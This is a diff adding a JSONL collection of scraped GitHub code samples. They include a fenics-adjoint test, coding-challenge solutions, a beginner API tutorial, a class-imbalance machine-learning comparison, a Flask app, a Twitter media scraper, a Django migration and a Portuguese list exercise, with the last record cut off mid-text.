diff --git "a/1887.jsonl" "b/1887.jsonl" new file mode 100644--- /dev/null +++ "b/1887.jsonl" @@ -0,0 +1,990 @@ +{"seq_id":"25571314066","text":"'''Contributed by Martin Alnaes, launchpad question 228870'''\n\nfrom fenics import *\nfrom fenics_adjoint import *\n\nmesh = UnitSquareMesh(5,5)\nV = FunctionSpace(mesh, \"CG\", 1)\nR = FunctionSpace(mesh, \"R\", 0)\n\nz = Function(R, name=\"z\")\n\nut = TrialFunction(V)\nv = TestFunction(V)\nm = Function(V, name=\"m\")\nu = Function(V, name=\"u\")\n\nnt = 3\nJ = 0\nfor t in range(nt):\n tmp = interpolate(Expression(\"t*t\", t=t, degree=2), R) # ... to make sure this is recorded\n tmp = Function(R, tmp.vector())\n z.assign(tmp)\n solve(ut*v*dx == m*v*dx, u, []) # ... even though it's not used in the computation\n if t == nt-1:\n quad_weight = AdjFloat(0.5)\n else:\n quad_weight = AdjFloat(1.0)\n J += quad_weight * assemble((u-z)**2*dx)\n\n# ... so it can be replayed by the functional at the end\nJ = ReducedFunctional(J, Control(m))\nassert abs(float(J(m)) - 9.0) < 1.0e-14\n","repo_name":"dolfin-adjoint/pyadjoint","sub_path":"tests/migration/time_dependent_data/time_dependent_data.py","file_name":"time_dependent_data.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"en","doc_type":"code","stars":72,"dataset":"github-code","pt":"72"} +{"seq_id":"39655462741","text":"\"\"\"\nYou are given a binary tree:\n\nYour task is to return the list with elements from tree sorted by levels, which means the root element goes first, then root children (from left to right) are second and third, and so on.\n\nReturn empty list if root is None.\n\nExample 1 - following tree:\n\n 2\n 8 9\n 1 3 4 5\nShould return following list:\n\n[2,8,9,1,3,4,5]\nExample 2 - following tree:\n\n 1\n 8 4\n 3 5\n 7\nShould return following list:\n\n[1,8,4,3,5,7]\n\"\"\"\n\nclass Node:\n def __init__(self, L, R, n):\n self.left = L\n self.right = R\n self.value = n\n\ndef tree_by_levels(node):\n res = []\n\n def traverse(N):\n Oth = []\n for node in N:\n if node.left:\n Oth += [node.left]\n if node.right:\n Oth += [node.right]\n if node.value:\n res.append(node.value)\n \n if len(Oth) > 0:\n return traverse(Oth)\n else:\n return res\n \n return traverse([node])\n\n\nNode_ex = Node(Node(None, Node(None, None, 4), 2), Node(Node(None, None, 5), Node(None, None, 6), 3), 1)\nx = tree_by_levels(Node_ex)\nprint(x)","repo_name":"jkfer/Codewars","sub_path":"Sort_binary_tree_by_level.py","file_name":"Sort_binary_tree_by_level.py","file_ext":"py","file_size_in_byte":1260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"4580415547","text":"def dijkstra(map_, start_nodes):\n end = next(\n i + 1j * j\n for j, row in enumerate(map_)\n for i, value in enumerate(row)\n if value == \"E\"\n )\n visited = {end}\n queue: list[tuple[complex, int]] = [(end, 0)]\n while queue:\n (current, path_len), *queue = queue\n x, y = int(round(current.real)), int(round(current.imag))\n if map_[y][x] in start_nodes:\n return path_len\n for offset in [1, -1, 1j, -1j]:\n pos = current + offset\n next_x, next_y = int(round(pos.real)), int(round(pos.imag))\n if not (0 <= next_x < len(map_[0]) and 0 <= next_y < len(map_)):\n continue\n if pos in visited:\n continue\n elevation = ord(\"z\" if map_[y][x] == \"E\" else map_[y][x])\n next_elevation = ord(\n \"a\" if map_[next_y][next_x] == \"S\" else map_[next_y][next_x]\n )\n if elevation - next_elevation > 1:\n continue\n visited |= {pos}\n queue.append((pos, path_len + 1))\n\n\ndef part_1(input_data):\n map_ = list(input_data)\n return dijkstra(map_, \"S\")\n\n\ndef part_2(input_data):\n map_ = list(input_data)\n return dijkstra(map_, \"a\")\n","repo_name":"mgesbert/advent","sub_path":"src/2022/algo/day_12.py","file_name":"day_12.py","file_ext":"py","file_size_in_byte":1255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"23215697301","text":"\n# APIs with Python\n# install requests\n# pip install requests\n\nimport requests\nrequest_bbc_status_code = requests.get(\"https://www.bbc.co.uk/player/live/bbcnews\")\n\nif request_bbc_status_code == 200:\n # Check the outcome of our API call\n print(\"Successful\")\nelse:\n print(\"Website couldn't be located. Status Code:\" + str(request_bbc_status_code))\n\nprint(request_bbc_status_code.headers)\n\nurl = \"http://api.postcodes.io/postcodes/\"\n# store the data\n# user input as postcode\npostcode = \"e147le\"\nurl_arg = url + postcode # (\"http://api.postcodes.io/postcodes/e147le\")\n\n# display the outcome\nresponse = requests.get(url_arg)\n# print(response.status_code)\n#\n# print(type(response.content))\n\nresponse_dict = response.json()\n# print(response_dict)\n\nprint(response_dict[\"result\"][\"postcode\"])\n\nprint(response_dict[\"result\"][\"longitude\"])\n\nprint(response_dict[\"result\"][\"latitude\"])\n\npostcode = input()\n\ndef valid(postcode):\n response_postcode = requests.get(url + postcode)\n if response_postcode.status_code == 200:\n return \"Postcode is valid\"\n else:\n return \"Postcode is not valid\"\n\n\ndef getresponse():\n return response_dict[\"result\"].keys()\n\nprint(valid(postcode))\n\n\n\n\n\n\n\n\n\n\n","repo_name":"MoeShaa123/PythonAPIs","sub_path":"pythonapi.py","file_name":"pythonapi.py","file_ext":"py","file_size_in_byte":1204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"38903155730","text":"import sys\nsys.path.insert(0, 'data')\nimport pandas as pd\nimport numpy as np\nfrom matplotlib import pyplot\nimport collections\nfrom sklearn.model_selection import train_test_split, cross_val_score, RepeatedStratifiedKFold\nfrom sklearn.metrics import roc_curve, roc_auc_score, precision_recall_curve, f1_score, auc, accuracy_score, precision_score, recall_score, balanced_accuracy_score, plot_confusion_matrix\nfrom sklearn.impute import KNNImputer, SimpleImputer\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.cluster import KMeans\nfrom imblearn.over_sampling import SMOTE, BorderlineSMOTE, RandomOverSampler\nfrom imblearn.combine import SMOTETomek\nfrom imblearn.under_sampling import TomekLinks\nfrom clover.over_sampling import ClusterOverSampler\nfrom sklearn.svm import SVC\nfrom numpy import mean,where\nfrom sklearn.decomposition import PCA\nfrom imblearn.under_sampling import NearMiss\nfrom xgboost import XGBClassifier\nfrom imblearn.under_sampling import ClusterCentroids\nfrom numpy import isnan\nfrom sklearn.linear_model import LogisticRegression\n\nglobal y_predicted\nglobal lr_probs\nglobal model\n\n#CURVES\nfig, ((ax1, ax2, axBar), (ax3, ax4,axBar2), (ax5, ax6,axBar3), (ax7, ax8,axBar4), (ax9, ax10,axBar5), (ax11, ax12, axBar6),(ax13, ax14,axBar7)) = pyplot.subplots(7,3)\nfig.suptitle('ROC AND AUC CURVES') \nfig.tight_layout(pad=0.5)\n\ndef pca(X_train_pca, X_test_pca):\n pca = PCA(n_components=3)# adjust yourself\n pca.fit(X_train_pca)\n X_train_pca = pca.transform(X_train_pca)\n X_test_pca = pca.transform(X_test_pca)\n return X_train_pca, X_test_pca\n\ndef plotTargetClassValues(X,y,numberOfPlot): \n fig2, ((axx1,axx2),(axx3,axx4),(axx5,axx6),(axx7,axx8)) = pyplot.subplots(4,2)\n fig2.suptitle ('Number Of target values')\n if (numberOfPlot == 1):\n axx1.set_title('Imbalanced Data')\n for label, _ in counter.items():\n row_ix = where(y == label)[0]\n axx1.scatter(X[row_ix, 0], X[row_ix, 1], label=str(label))\n elif (numberOfPlot == 2):\n axx2.set_title('SMOTE')\n\n for label, _ in counter.items():\n row_ix = where(y == label)[0]\n axx2.scatter(X[row_ix, 0], X[row_ix, 1], label=str(label)) \n elif (numberOfPlot == 3):\n axx3.set_title('Borderline SMOTE')\n \n for label, _ in counter.items():\n row_ix = where(y == label)[0]\n axx3.scatter(X[row_ix, 0], X[row_ix, 1], label=str(label)) \n elif (numberOfPlot == 4):\n axx4.set_title('RandomOverSampler')\n\n for label, _ in counter.items():\n row_ix = where(y == label)[0]\n axx4.scatter(X[row_ix, 0], X[row_ix, 1], label=str(label)) \n elif (numberOfPlot == 5):\n axx5.set_title('ClusterOverSampler')\n for label, _ in counter.items():\n row_ix = where(y == label)[0]\n axx5.scatter(X[row_ix, 0], X[row_ix, 1], label=str(label)) \n elif (numberOfPlot == 6):\n axx6.set_title('UnderSampling')\n\n for label, _ in counter.items():\n row_ix = where(y == label)[0]\n axx6.scatter(X[row_ix, 0], X[row_ix, 1], label=str(label)) \n elif (numberOfPlot == 7):\n axx7.set_title('ClusterCentroids')\n\n for label, _ in counter.items():\n row_ix = where(y == label)[0]\n axx7.scatter(X[row_ix, 0], X[row_ix, 1], label=str(label)) \n else:\n fig2.show()\n \ndef makeClassificationLogisticRegression(X_train, y_train, X_test, y_test):\n global y_predicted\n global lr_probs \n global model\n #model = RandomForestClassifier(n_estimators=10, random_state=12,class_weight='balanced_subsample',criterion='entropy')\n model = LogisticRegression(random_state=0)\n model.fit(X_train,y_train)\n y_predicted = model.predict(X_test)\n #Not relevant metrics\n print('-------------------')\n print('Accuracy Score : %f'%accuracy_score(y_test,y_predicted))\n print('Balanced Accuracy Score : %f'%balanced_accuracy_score(y_test, y_predicted))\n print('Precision Score : %f'%precision_score(y_test,y_predicted,average='macro'))\n print('Recall Score : %f' %recall_score(y_test,y_predicted,average='macro'))\n print('F1 Score : %f'%f1_score(y_test,y_predicted,average='macro'))\n print('-------------------')\n lr_probs = model.predict_proba(X_test)\n lr_probs = lr_probs[:, 1] \n \ndef makeClassificationCostSensitive(X_train, y_train):\n model = SVC(gamma='scale', class_weight='balanced')\n # define evaluation procedure\n cv = RepeatedStratifiedKFold(n_splits=10, n_repeats=3, random_state=1)\n # evaluate model\n scores = cross_val_score(model, X_train, y_train, scoring='roc_auc', cv=cv, n_jobs=-1)\n # summarize performance\n print('-------------------')\n print('Mean ROC AUC: %.3f' % mean(scores))\n print('-------------------')\n \ndef printCurvesWithClassImbalance(lr_probs, y_test, y_predicted, X_test):\n lr_auc = roc_auc_score(y_test, lr_probs)\n plot_auc_score = lr_auc\n # summarize scores\n print('-------------------')\n print('LogisticRegression: ROC AUC=%.3f' % (lr_auc))\n print('-------------------')\n # calculate roc curves\n lr_fpr, lr_tpr, _ = roc_curve(y_test, lr_probs)\n # plot the roc curve for the model\n ax1.plot(lr_fpr, lr_tpr, marker='.', label='LogisticRegression')\n ax1.set_xlabel('False Positive Rate')\n ax1.set_ylabel('True Positive Rate')\n ax1.set_title('ROC CURVE with class imbalance')\n\n # predict class values\n lr_precision, lr_recall, _ = precision_recall_curve(y_test, lr_probs)\n lr_f1, lr_auc = f1_score(y_test, y_predicted), auc(lr_recall, lr_precision)\n # summarize scores\n print('-------------------')\n print('LogisticRegression Unbalanced: f1=%.3f auc=%.3f' % (lr_f1, lr_auc))\n print('-------------------')\n # plot the precision-recall curves\n ax2.plot(lr_recall, lr_precision, marker='.', label='LogisticRegression')\n ax2.set_xlabel('Recall')\n ax2.set_ylabel('Precision')\n ax2.set_title('AUC CURVE with class imbalance')\n plot_confusion_matrix(model, X_test, y_test, ax=axBar)\n return plot_auc_score\n \ndef printCurvesWithSMOTE(lr_probs, y_test, y_predicted, X_test):\n # calculate scores\n lr_auc = roc_auc_score(y_test, lr_probs)\n plot_auc_score = lr_auc\n print('-------------------')\n print('LogisticRegression with SMOTE: ROC AUC=%.3f' % (lr_auc))\n print('-------------------')\n # calculate roc curves\n lr_fpr, lr_tpr, _ = roc_curve(y_test, lr_probs)\n # plot the roc curve for the model\n ax3.plot(lr_fpr, lr_tpr, marker='.', label='LogisticRegression')\n ax3.set_xlabel('False Positive Rate')\n ax3.set_ylabel('True Positive Rate')\n ax3.set_title('ROC CURVE with SMOTE')\n\n # predict class values\n lr_precision, lr_recall, _ = precision_recall_curve(y_test, lr_probs)\n lr_f1, lr_auc = f1_score(y_test, y_predicted,average='macro'), auc(lr_recall, lr_precision)\n print('-------------------')\n print('LogisticRegression with SMOTE: f1=%.3f auc=%.3f' % (lr_f1, lr_auc))\n print('-------------------')\n ax4.plot(lr_recall, lr_precision, marker='.', label='LogisticRegression')\n ax4.set_xlabel('Recall')\n ax4.set_ylabel('Precision')\n ax4.set_title('AUC CURVE with SMOTE')\n plot_confusion_matrix(model, X_test, y_test, ax=axBar2)\n return plot_auc_score\n\ndef printCurvesWithBorderLineSMOTE(lr_probs, y_test, y_predicted, X_test):\n # calculate scores\n lr_auc = roc_auc_score(y_test, lr_probs)\n plot_auc_score = lr_auc\n print('-------------------')\n print('LogisticRegression with Borderline SMOTE: ROC AUC=%.3f' % (lr_auc))\n print('-------------------')\n lr_fpr, lr_tpr, _ = roc_curve(y_test, lr_probs)\n ax5.plot(lr_fpr, lr_tpr, marker='.', label='LogisticRegression')\n # axis labels\n ax5.set_xlabel('False Positive Rate')\n ax5.set_ylabel('True Positive Rate')\n ax5.set_title('ROC CURVE with BorderLine SMOTE')\n\n # predict class values\n lr_precision, lr_recall, _ = precision_recall_curve(y_test, lr_probs)\n lr_f1, lr_auc = f1_score(y_test, y_predicted,average='macro'), auc(lr_recall, lr_precision)\n print('-------------------')\n print('LogisticRegression with Borderline SMOTE: f1=%.3f auc=%.3f' % (lr_f1, lr_auc))\n print('-------------------')\n ax6.plot(lr_recall, lr_precision, marker='.', label='LogisticRegression')\n ax6.set_xlabel('Recall')\n ax6.set_ylabel('Precision')\n ax6.set_title('AUC CURVE with BorderLine SMOTE')\n plot_confusion_matrix(model, X_test, y_test, ax=axBar3)\n return plot_auc_score\n\ndef printCurvesWithRandomOverSampler(lr_probs, y_test, y_predicted, X_test):\n lr_auc = roc_auc_score(y_test, lr_probs)\n plot_auc_score = lr_auc\n print('-------------------')\n print('LogisticRegression with RandomOverSampling: ROC AUC=%.3f' % (lr_auc))\n print('-------------------')\n lr_fpr, lr_tpr, _ = roc_curve(y_test, lr_probs)\n ax7.plot(lr_fpr, lr_tpr, marker='.', label='LogisticRegression')\n ax7.set_xlabel('False Positive Rate')\n ax7.set_ylabel('True Positive Rate')\n ax7.set_title('ROC CURVE with RandomOverSamler')\n\n lr_precision, lr_recall, _ = precision_recall_curve(y_test, lr_probs)\n lr_f1, lr_auc = f1_score(y_test, y_predicted,average='macro'), auc(lr_recall, lr_precision)\n print('-------------------')\n print('LogisticRegression with RandomOverSampling: f1=%.3f auc=%.3f' % (lr_f1, lr_auc))\n print('-------------------')\n ax8.plot(lr_recall, lr_precision, marker='.', label='LogisticRegression')\n ax8.set_xlabel('Recall')\n ax8.set_ylabel('Precision')\n ax8.set_title('AUC CURVE with RandomOverSamler')\n plot_confusion_matrix(model, X_test, y_test, ax=axBar4)\n return plot_auc_score\n\ndef printCurvesWithClusterOverSampler(lr_probs, y_test, y_predicted, X_test):\n lr_auc = roc_auc_score(y_test, lr_probs)\n plot_auc_score = lr_auc\n print('-------------------')\n print('LogisticRegression with Cluster OverSampling: ROC AUC=%.3f' % (lr_auc))\n print('-------------------')\n lr_fpr, lr_tpr, _ = roc_curve(y_test, lr_probs)\n ax9.plot(lr_fpr, lr_tpr, marker='.', label='LogisticRegression')\n ax9.set_xlabel('False Positive Rate')\n ax9.set_ylabel('True Positive Rate')\n ax9.set_title('ROC CURVE with ClusterOverSampler')\n\n lr_precision, lr_recall, _ = precision_recall_curve(y_test, lr_probs)\n lr_f1, lr_auc = f1_score(y_test, y_predicted,average='macro'), auc(lr_recall, lr_precision)\n print('-------------------')\n print('LogisticRegression with Cluster OverSampling: f1=%.3f auc=%.3f' % (lr_f1, lr_auc))\n print('-------------------')\n ax10.plot(lr_recall, lr_precision, marker='.', label='LogisticRegression')\n ax10.set_xlabel('Recall')\n ax10.set_ylabel('Precision')\n ax10.set_title('AUC CURVE with ClusterOverSampler')\n plot_confusion_matrix(model, X_test, y_test, ax=axBar5)\n return plot_auc_score\n\ndef printCurvesWithUnderSampling(lr_probs, y_test, y_predicted, X_test):\n lr_auc = roc_auc_score(y_test, lr_probs)\n plot_auc_score = lr_auc\n print('-------------------')\n print('LogisticRegression with UnderSampling: ROC AUC=%.3f' % (lr_auc))\n print('-------------------')\n lr_fpr, lr_tpr, _ = roc_curve(y_test, lr_probs)\n ax11.plot(lr_fpr, lr_tpr, marker='.', label='LogisticRegression')\n ax11.set_xlabel('False Positive Rate')\n ax11.set_ylabel('True Positive Rate')\n ax11.set_title('ROC CURVE with UnderSampling')\n\n lr_precision, lr_recall, _ = precision_recall_curve(y_test, lr_probs)\n lr_f1, lr_auc = f1_score(y_test, y_predicted,average='macro'), auc(lr_recall, lr_precision)\n print('-------------------')\n print('LogisticRegression with UnderSampling: f1=%.3f auc=%.3f' % (lr_f1, lr_auc))\n print('-------------------')\n ax12.plot(lr_recall, lr_precision, marker='.', label='LogisticRegression')\n ax12.set_xlabel('Recall')\n ax12.set_ylabel('Precision')\n ax12.set_title('AUC CURVE with UnderSampling')\n plot_confusion_matrix(model, X_test, y_test, ax=axBar6)\n return plot_auc_score\n\ndef printCurvesWithClusterCentroids(lr_probs, y_test, y_predicted, X_test):\n lr_auc = roc_auc_score(y_test, lr_probs)\n plot_auc_score = lr_auc\n print('-------------------')\n print('LogisticRegression with ClusterCentroids: ROC AUC=%.3f' % (lr_auc))\n print('-------------------')\n lr_fpr, lr_tpr, _ = roc_curve(y_test, lr_probs)\n ax13.plot(lr_fpr, lr_tpr, marker='.', label='LogisticRegression')\n ax13.set_xlabel('False Positive Rate')\n ax13.set_ylabel('True Positive Rate')\n ax13.set_title('ROC CURVE with ClusterCentroids')\n \n lr_precision, lr_recall, _ = precision_recall_curve(y_test, lr_probs)\n lr_f1, lr_auc = f1_score(y_test, y_predicted,average='macro'), auc(lr_recall, lr_precision)\n print('-------------------')\n print('LogisticRegression with ClusterCentroids: f1=%.3f auc=%.3f' % (lr_f1, lr_auc))\n print('-------------------')\n ax14.plot(lr_recall, lr_precision, marker='.', label='LogisticRegression')\n ax14.set_xlabel('Recall')\n ax14.set_ylabel('Precision')\n ax14.set_title('AUC CURVE with ClusterCentroids')\n plot_confusion_matrix(model, X_test, y_test, ax=axBar7)\n return plot_auc_score\n\ndef plotCurves():\n # show the plot\n fig.show()\n \n#------------------------\ndata = pd.read_csv('./data/Myocardial infarction complications Database.csv')\nprint('-------------------')\nprint (data)\nprint('-------------------')\ndata.replace(\"?\", np.nan, inplace = True)\n#------------------------\n\n#------------------------\n\n#print list of columns and number of NaN values\nmissing_data = data.isnull()\nprint('-------------------')\nprint(data.isnull().sum())\nprint('-------------------')\n#plot for these columns\ndata.isnull().sum().reset_index(name=\"names\").plot.bar(x='index', y='names', rot=90)\n#------------------------\n\n#------------------------\nprint('-------------------')\nprint(data.describe())\nprint(data.head(10))\nprint('-------------------')\ndata = pd.DataFrame(data)\n\nX = data.iloc[:, 1:112]\ny = data.iloc[:, 114]\n\n\n#drop columns with many NaN values - got it from plot\ndel X[\"IBS_NASL\"]\ndel X[\"KFK_BLOOD\"]\ndel X[\"S_AD_KBRIG\"]\ndel X[\"D_AD_KBRIG\"]\ndel X[\"R_AB_3_n\"]\ndel X[\"R_AB_2_n\"]\n\n\n#del X[\"NA_R_2_n\"]\n#del X[\"NA_R_3_n\"]\n#del X[\"NOT_NA_2_n\"]\n#del X[\"NOT_NA_3_n\"]\n\nprint('-------------------')\nprint(X.shape)\nprint(y.shape)\n#------------------------\n\n#------------------------\n\nX_train, X_test, y_train, y_test = train_test_split(X, y, train_size=0.7, random_state=0, stratify=y)\nprint(X_train.shape)\nprint(X_test.shape)\nprint(y_train.shape)\nprint(y_test.shape)\nprint('-------------------')\n#------------------------\n\n\n#------------------------\n#preproccessing\nimputer = KNNImputer(weights='uniform',n_neighbors=50)\n\nX_train = imputer.fit_transform(X_train)\nX_test = imputer.transform(X_test)\n\nprint('-------------------')\nprint('Missing Values Train: %d' % isnan(X_train).sum())\nprint('Missing Values Test: %d' % isnan(X_test).sum())\nprint('-------------------')\n\nscaler = MinMaxScaler()\n\nX_train = scaler.fit_transform(X_train)\nX_test = scaler.transform(X_test)\n#------------------------\n\n#------------------------\nX_train_pca,X_test_pca = pca(X_train,X_test)\nmakeClassificationLogisticRegression(X_train_pca, y_train, X_test_pca, y_test)\nlr_auc1 = printCurvesWithClassImbalance(lr_probs, y_test, y_predicted, X_test_pca)\n#plotTargetClassValues(X_train,y_train,1)\n#------------------------\n\n#------------------------\n\ncounter = collections.Counter(y_train)\nprint('-------------------')\nprint('Before SMOTE',counter)\nsmote = SMOTE(random_state=12)\n\nX_train_sm,y_train_sm = smote.fit_resample(X_train, y_train)\n\ncounter = collections.Counter(y_train_sm)\nprint('After SMOTE',counter)\nprint('-------------------')\n\nX_train_sm,X_test_pca = pca(X_train_sm,X_test)\nmakeClassificationLogisticRegression (X_train_sm, y_train_sm, X_test_pca, y_test)\nlr_auc2 = printCurvesWithSMOTE(lr_probs, y_test, y_predicted, X_test_pca)\n#plotTargetClassValues(X_train_sm,y_train_sm,2)\n#------------------------\n\n#------------------------\ncounter = collections.Counter(y_train)\nprint('-------------------')\nprint('Before SMOTE Borderline',counter)\n\nborderLineSMOTE = BorderlineSMOTE(kind='borderline-2', random_state=0)\nX_train_sm_borderline,y_train_sm_borderline = borderLineSMOTE.fit_resample(X_train, y_train)\n\ncounter = collections.Counter(y_train_sm_borderline)\nprint('After SMOTE Borderline',counter)\nprint('-------------------')\n\nX_train_sm_borderline,X_test_pca = pca(X_train_sm_borderline,X_test)\nmakeClassificationLogisticRegression(X_train_sm_borderline, y_train_sm_borderline, X_test_pca, y_test)\nlr_auc3 = printCurvesWithBorderLineSMOTE(lr_probs, y_test, y_predicted, X_test_pca)\n#plotTargetClassValues(X_train_sm_borderline,y_train_sm_borderline,3)\n#------------------------\n\n#------------------------\ncounter = collections.Counter(y_train)\nprint('-------------------')\nprint('Before RandomOverSampler',counter)\n\noversample = RandomOverSampler(sampling_strategy='minority')\n#oversample = RandomOverSampler(sampling_strategy=0.5)\nX_over, y_over = oversample.fit_resample(X_train, y_train)\n\ncounter = collections.Counter(y_over)\nprint('After RandomOverSampler',counter)\nprint('-------------------')\n\nX_over,X_test_pca = pca(X_over,X_test)\nmakeClassificationLogisticRegression(X_over, y_over, X_test_pca, y_test)\nlr_auc4 = printCurvesWithRandomOverSampler(lr_probs, y_test, y_predicted, X_test_pca)\n#plotTargetClassValues(X_over,y_over,4)\n#------------------------\n\n#------------------------\ncounter = collections.Counter(y_train)\nprint('-------------------')\nprint('Before KMeans',counter)\n\nsmote = SMOTE(random_state= 12)\nkmeans = KMeans(n_clusters=2, random_state=17)\nkmeans_smote = ClusterOverSampler(oversampler=smote, clusterer=kmeans)\n\n# Fit and resample imbalanced data\nX_res, y_res = kmeans_smote.fit_resample(X_train, y_train)\n\ncounter = collections.Counter(y_res)\nprint('After KMeans',counter)\nprint('-------------------')\n\nX_res,X_test_pca = pca(X_res,X_test)\nmakeClassificationLogisticRegression(X_res, y_res, X_test_pca, y_test)\nlr_auc5 = printCurvesWithClusterOverSampler(lr_probs, y_test, y_predicted, X_test_pca)\n#plotTargetClassValues(X_res,y_res,5)\n#------------------------\n\n#------------------------\nmakeClassificationCostSensitive(X_train, y_train)\n#------------------------\n\n\n#------------------------\ncounter = collections.Counter(y_train)\nprint('-------------------')\nprint('Before UnderSampling',counter)\nundersample = NearMiss(version=2, n_neighbors=5)\n\nX_under, y_under = undersample.fit_resample(X_train, y_train)\n\ncounter = collections.Counter(y_under)\nprint('After UnderSampling',counter)\nprint('-------------------')\n\nX_under,X_test_pca = pca(X_under,X_test)\nmakeClassificationLogisticRegression(X_under, y_under, X_test_pca, y_test)\nlr_auc6 = printCurvesWithUnderSampling(lr_probs, y_test, y_predicted, X_test_pca)\n#plotTargetClassValues(X_under,y_under,6)\n#------------------------\n\n#------------------------\nboostingmodel = XGBClassifier(scale_pos_weight=100)\n# define evaluation procedure\ncv = RepeatedStratifiedKFold(n_splits=10, n_repeats=3, random_state=1)\n# evaluate model\nscores = cross_val_score(boostingmodel, X, y, scoring='roc_auc', cv=cv, n_jobs=-1)\n# summarize performance\nprint('-------------------')\nprint('Mean ROC AUC for XGBClassifier: %.5f' % mean(scores))\nprint('-------------------')\n#------------------------\n\n\n\n#------------------------\ncounter = collections.Counter(y_train)\nprint('-------------------')\nprint('Before ClusterCentroids',counter)\n\ntrans = ClusterCentroids(random_state=0)\nX_resampled, y_resampled = trans.fit_sample(X_train, y_train)\n\ncounter = collections.Counter(y_resampled)\nprint('After ClusterCentroids',counter)\nprint('-------------------')\n\nX_resampled,X_test_pca = pca(X_resampled,X_test)\nmakeClassificationLogisticRegression(X_resampled, y_resampled, X_test_pca, y_test)\nlr_auc7 = printCurvesWithClusterCentroids(lr_probs, y_test, y_predicted, X_test_pca)\n#plotTargetClassValues(X_resampled,y_resampled,7)\n#------------------------\n\n#plotTargetClassValues(X,y,8)\nfig3,axRoc = pyplot.subplots()\naxRoc.bar(['Unbalanced' , 'SMOTE' , 'BorderLine SMOTE' , 'RandomOverSampler', 'ClusterOverSampler', 'UnderSampling', 'ClusterCentroids'],[lr_auc1,lr_auc2,lr_auc3,lr_auc4,lr_auc5,lr_auc6,lr_auc7])\nfig3.show()\n\nplotCurves()\n#------------------------\n\n","repo_name":"skouras-io/advanced-ml","sub_path":"advanced-ml.py","file_name":"advanced-ml.py","file_ext":"py","file_size_in_byte":19594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"36550715757","text":"from flask import Flask, render_template\nimport random\nfrom datetime import date\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef hello():\n num = random.randint(1, 10)\n today_date = date.today()\n year = today_date.year\n # MAKE SURE THE HTML FILE IS UNDER \"TEMPLATES\" DIRECTORY\n return render_template(\"index.html\", num=num, year=year)\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n","repo_name":"sakshamsangraula/Python-Projects","sub_path":"day-57/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"73868748071","text":"import urllib\nfrom BeautifulSoup import BeautifulSoup\nimport cookielib\nimport glob\nimport os\nimport json\n\npath = \"YOUR_PATH_TO_IFTTT_TWITTER\"\nresult1 = False\nresult2 = False\n\ndef getmedia(addr):\n\tu = urllib.urlopen(addr)\n\tdata =u.read()\n\tsplitPath = addr.split('/')\n\tfName = splitPath.pop()\n\tf = open(path+'/'+fName, 'wb')\n\tf.write(data)\n\tf.close()\n\treturn True\n\n\nfor htmlfile in glob.glob(os.path.join(path,'*.html')):\n\thtml = open(htmlfile)\n\tcontent = html.read()\n\tparsed_html_1=BeautifulSoup(content)\n\turl = parsed_html_1.body.find('a',attrs={'style':'color: #33ccff;'}).text\n\tresource = urllib.urlopen(url)\n\t#print resource.read()\n\tparsed_html = BeautifulSoup(resource)\n\ttry:\n\t\tdivs = parsed_html.body.findAll('div', attrs={'class':'AdaptiveMedia-photoContainer js-adaptive-photo '})\n\texcept:\n\t\tdivs = None\n\tif divs is not None:\n\t\tfor div in parsed_html.body.findAll('div', attrs={'class':'AdaptiveMedia-photoContainer js-adaptive-photo '}):\n\t\t\tresult1 = getmedia(div.find('img')['src'])\n\t\n\ttry:\n\t\tvideo = parsed_html.head.find('meta',attrs={'property':'og:video:url'})\n\texcept:\n\t\tvideo =None\n\tif video is not None:\n\t\tpage = urllib.urlopen(video['content'])\n\t\tparsed_page = BeautifulSoup(page)\n\t\ttry:\n\t\t\tdiv = parsed_page.body.find('div',attrs={'id':'playerContainer'})\n\t\texcept:\n\t\t\tdiv = None\n\t\tif div is not None:\n\t\t\tdata = div['data-config']\n\t\t\tvideo_addr = json.loads(data)['video_url']\n\t\t\tresult2 = getmedia(video_addr)\n\n\tif result1 or result2:\n\t\tos.system('rm '+str(htmlfile))\n\n","repo_name":"YuduDu/clawers","sub_path":"twitter.py","file_name":"twitter.py","file_ext":"py","file_size_in_byte":1488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"4117786654","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('aws', '0002_auto_20150406_0337'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='userprofile',\n name='awskey',\n field=models.TextField(max_length=128, blank=True),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='userprofile',\n name='awssecret',\n field=models.TextField(max_length=128, blank=True),\n preserve_default=True,\n ),\n ]\n","repo_name":"osalkk/djangocloud","sub_path":"aws/migrations/0003_auto_20150407_1110.py","file_name":"0003_auto_20150407_1110.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"22909133961","text":"'''\n\nCrie um programa que vai ler vários números e colcoar em uma lista.\n\nDepois disso, crie duas listas extras que vão conter apenas os valores pares e os valores impares digitados,\nrespectivamente.\n\nAo final, mostre o conteúdo das três listas gerados.\n\n'''\n\nlista = list()\nimpar = list()\npar = list()\npos = 0\n\nwhile True:\n\n lista.append(int(input('Insira um numero')))\n\n if lista[pos] % 2 == 0 :\n par.append(lista[pos])\n else:\n impar.append(lista[pos])\n pos+=1\n\n escolha = str(input('deseja continuar?')).strip().upper()[0]\n\n if escolha == 'N':\n break\n\n\nprint(len(lista))\n\n\n\nprint(f'Numeros impares {impar}')\nprint(f'Numeros pares {par}')\nprint(f'Total: {lista}')\n\n\n","repo_name":"VinasRibeiro/Cursos","sub_path":"Exercicios_guanaraba/Python3/Exercicios/Aula 17 listas pt1/ex082 Dividindo valores em várias listas.py","file_name":"ex082 Dividindo valores 